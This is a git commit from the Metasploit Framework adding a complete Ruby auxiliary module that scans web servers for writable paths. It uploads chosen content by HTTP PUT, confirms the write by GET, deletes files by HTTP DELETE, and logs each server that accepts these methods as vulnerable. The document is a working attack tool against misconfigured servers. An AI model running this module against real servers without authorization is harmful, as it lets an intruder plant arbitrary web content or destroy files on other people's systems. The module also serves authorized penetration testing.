Add a module to check HTTP PUT / DELETE file access. Thanks CG! Resolves 5089.
git-svn-id: file:///home/svn/framework3/trunk@13755 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Jonathan Cran
parent
b3f29cbddf
commit
8b1fd95f66
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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# Exploit mixins should be called first
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'HTTP Writable Path PUT/DELETE File Access',
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'Version' => '$Revision$',
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'Description' => %q{
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This module can abuse misconfigured web servers to
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upload and delete web content via PUT and DELETE HTTP
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requests. Set ACTION to either PUT or DELETE. PUT is the
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default.
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},
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'Author' =>
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[
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'Kashif [at] compulife.com.pk', 'CG'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '397'],
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],
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'Actions' =>
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[
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['PUT'],
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['DELETE']
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],
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'DefaultAction' => 'PUT'
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)
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register_options(
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[
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OptString.new('PATH', [ true, "The path to attempt to write or delete", "/msf_http_put_test.txt"]),
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OptString.new('DATA', [ false, "The data to upload into the file", "msf test file"]),
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], self.class)
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end
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def run_host(ip)
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target_host = ip
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target_port = datastore['RPORT']
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case action.name
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when 'PUT'
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begin
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res = send_request_cgi({
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'uri' => datastore['PATH'],
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'method' => 'PUT',
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'ctype' => 'text/plain',
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'data' => datastore['DATA']
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}, 20)
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if (res.nil?)
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print_error("No response for #{ip}:#{rport}")
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elsif (res and res.code >= 200 and res.code < 300)
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#
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# Detect if file was really uploaded
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#
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begin
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res = send_request_cgi({
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'uri' => datastore['PATH'],
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'method' => 'GET',
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'ctype' => 'text/html'
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}, 20)
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if (res.nil?)
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print_error("no response for #{ip}:#{rport}")
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elsif res and (res.code >= 200 and res.code <= 299)
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if res.body.include? datastore['DATA']
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print_good("Upload succeeded on #{ip}:#{rport}#{datastore['PATH']} [#{res.code}]")
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report_vuln(
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:host => target_host,
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:port => rport,
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:proto => 'tcp',
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:sname => 'http',
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:name => self.fullname,
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:info => "PUT ENABLED",
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:refs => self.references,
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:exploited_at => Time.now.utc
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)
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end
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else
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print_error("Received a #{res.code} code, upload failed on #{ip}:#{rport}#{datastore['PATH']} [#{res.code} #{res.message}]")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
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print_error "No connection"
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rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
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print_error e.message
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end
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elsif(res.code == 302 or res.code == 301)
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print_status("Received #{res.code} Redirect to #{res.headers['Location']}")
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else
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print_error("Received #{res.code} code, upload failed on #{ip}:#{rport} #{datastore['PATH']} [#{res.code} #{res.message}]")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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#print_error "No connection"
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rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
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print_error e.message
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end
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when 'DELETE'
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begin
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res = send_request_cgi({
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'uri' => datastore['PATH'],
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'method' => 'DELETE'
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}, 10)
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return if not res
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if (res and res.code >= 200 and res.code < 300)
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print_good("Delete succeeded on #{ip}:#{rport}#{datastore['PATH']} [#{res.code}]")
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report_vuln(
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:host => target_host,
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:port => rport,
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:proto => 'tcp',
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:sname => 'http',
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:name => self.fullname,
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:info => "DELETE ENABLED",
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:refs => self.references,
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:exploited_at => Time.now.utc
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)
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else
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print_error("Delete failed #{ip}:#{rport} [#{res.code} #{res.message}]")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
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#print_error "No connection"
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rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
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print_error e.message
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end
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end
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end
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end
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